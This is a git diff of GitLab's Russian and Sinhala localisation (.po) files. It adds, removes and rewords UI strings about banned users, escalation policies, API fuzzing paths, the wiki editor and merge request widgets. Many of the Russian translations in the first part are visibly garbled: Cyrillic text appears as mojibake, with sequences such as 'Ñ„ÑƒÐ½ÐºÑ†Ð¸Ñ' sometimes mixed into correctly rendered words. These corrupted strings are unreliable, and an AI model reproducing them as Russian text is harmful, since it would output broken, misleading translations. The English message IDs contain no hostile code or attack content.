msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr "Эта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚, чтобы локальное хранилище было включено"
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr "Этот пользователь ранее отправлÑл комм
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr "Четверг"
msgid "Time"
msgstr "ВремÑ"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr "Time based: Да"
@@ -33612,6 +34283,9 @@ msgstr "Ð’Ñ‹Ñ‡Ð¸Ñ‚Ð°ÐµÐ¼Ð°Ñ Ð´Ð»Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾ÑÑ‚ÑŒ превышает вÑÑ‘
msgid "Time tracking"
msgstr "Учёт времени"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Ð’Ñ€ÐµÐ¼Ñ Ð´Ð¾ первого запроÑа на ÑлиÑние"
@@ -33791,9 +34465,6 @@ msgstr[3] "мин"
msgid "Time|s"
msgstr "Ñ"
-msgid "Tip:"
-msgstr "Совет:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr "Чтобы перемеÑтить или Ñкопировать прое
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,15 +34696,15 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Переключить боковую панель"
msgid "Toggle the Performance Bar"
msgstr "Показать/Ñкрыть панель производительноÑти"
-msgid "Toggle this dialog"
-msgstr "Скрыть/показать Ñто окно"
-
msgid "Toggle thread"
msgstr ""
@@ -34064,9 +34732,6 @@ msgstr "Слишком много проÑтранÑтв имен включен
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Слишком много проектов включено. Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼Ð¸ вам потребуетÑÑ ÐºÐ¾Ð½Ñоль или API."
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr "Темы (необÑзательно)"
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr "До"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr "Загрузить файл"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "Загрузить карту объектов"
@@ -35214,6 +35891,9 @@ msgstr "ИÑпользуютÑÑ Ð³Ð»Ð¾Ð±Ð°Ð»ÑŒÐ½Ñ‹Ð¹ наÑтройки увеÐ
msgid "Use your smart card to authenticate with the LDAP server."
msgstr "ИÑпользуйте вашу Ñмарт-карту Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸ Ñ Ñервером LDAP."
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr "ИÑпользуетÑÑ Ð´Ð»Ñ Ð½Ð°Ñтройки вашего провайдера идентификации"
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (необÑзательно)"
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr "Пользователи"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¿Ð¾ Ñтапу отÑутÑтвует."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -36263,16 +36970,16 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Веб-обработчики позволÑÑŽÑ‚ вам вызывать Ð°Ð´Ñ€ÐµÑ URL еÑли, например, отправлен новый код или Ñоздано новое обÑуждение. Ð’Ñ‹ можете наÑтроить веб-обработчики так, чтобы они реагировали на определённые ÑобытиÑ, такие как отправки кода, обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ запроÑÑ‹ на ÑлиÑние. Групповые веб-обработчики применÑÑŽÑ‚ÑÑ ÐºÐ¾ вÑем проектам в группе и позволÑÑŽÑ‚ вам Ñтандартизовать функциональноÑÑ‚ÑŒ веб-обработчиков Ð´Ð»Ñ Ð²Ñей вашей группы."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr "Веб-обработчики были перемещены. Теперь их можно найти под меню наÑтроек."
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36660,6 +37367,12 @@ msgstr "Удалить Ñтраницу %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Ðапишите что-нибудь или перетащите Ñюда файлы…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr "Ð’Ñ‹ не можете вноÑить Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð²Ð¾ втори
msgid "You cannot write to this read-only GitLab instance."
msgstr "Ð’Ñ‹ не можете запиÑывать на Ñтот ÑкземплÑÑ€ \"только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ\" клаÑтера GitLab."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Ваши ключи SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr "Ваши Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ (%{size})"
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr "Ваш браузер не поддерживает U2F. ПожалуйÑта, иÑпользуйте Google Chrome Desktop (верÑÐ¸Ñ 41 или новее)."
@@ -37557,9 +38294,6 @@ msgstr "Ваш комментарий не может быть обновлен!
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "Ваша панель ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð±Ñ‹Ð»Ð° Ñкопирована. Ð’Ñ‹ можете %{web_ide_link_start}отредактировать Ñто здеÑÑŒ%{web_ide_link_end}."
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr "читать документацию"
-
msgid "and"
msgstr "и"
@@ -38099,6 +38830,45 @@ msgstr "закрыто"
msgid "closed issue"
msgstr "закрытое обÑуждение"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://ваш-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð·Ð°"
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] "запроÑов на ÑлиÑние"
msgstr[2] "запроÑов на ÑлиÑние"
msgstr[3] "запроÑов на ÑлиÑние"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr "Добавлено в цепочку ÑлиÑниÑ"
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "ПозволÑет выполнÑÑ‚ÑŒ коммиты учаÑтникам, которые могут выполнÑÑ‚ÑŒ ÑлиÑние Ñ Ñ†ÐµÐ»ÐµÐ²Ð¾Ð¹ веткой"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr "произошла ошибка при удалении вашего подтверждениÑ."
@@ -38622,12 +39395,9 @@ msgstr "Одобрено"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Отменить автоматичеÑкое ÑлиÑние"
-
msgid "mrWidget|Check out branch"
msgstr "Проверить ветку"
@@ -38667,9 +39437,6 @@ msgstr "Ðе удалоÑÑŒ загрузить ÑтатиÑтику развёр
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr "Загрузка ÑтатиÑтики развертываниÑ"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "УпоминаниÑ"
msgid "mrWidget|Merge"
msgstr "Слить"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "СлиÑние не удалоÑÑŒ."
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr "Ñледующее(ие) обÑуждение(Ñ)"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "Ñтот документ"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index 61a743ceaac..bad27a879b3 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:15\n"
+"PO-Revision-Date: 2021-06-01 20:28\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
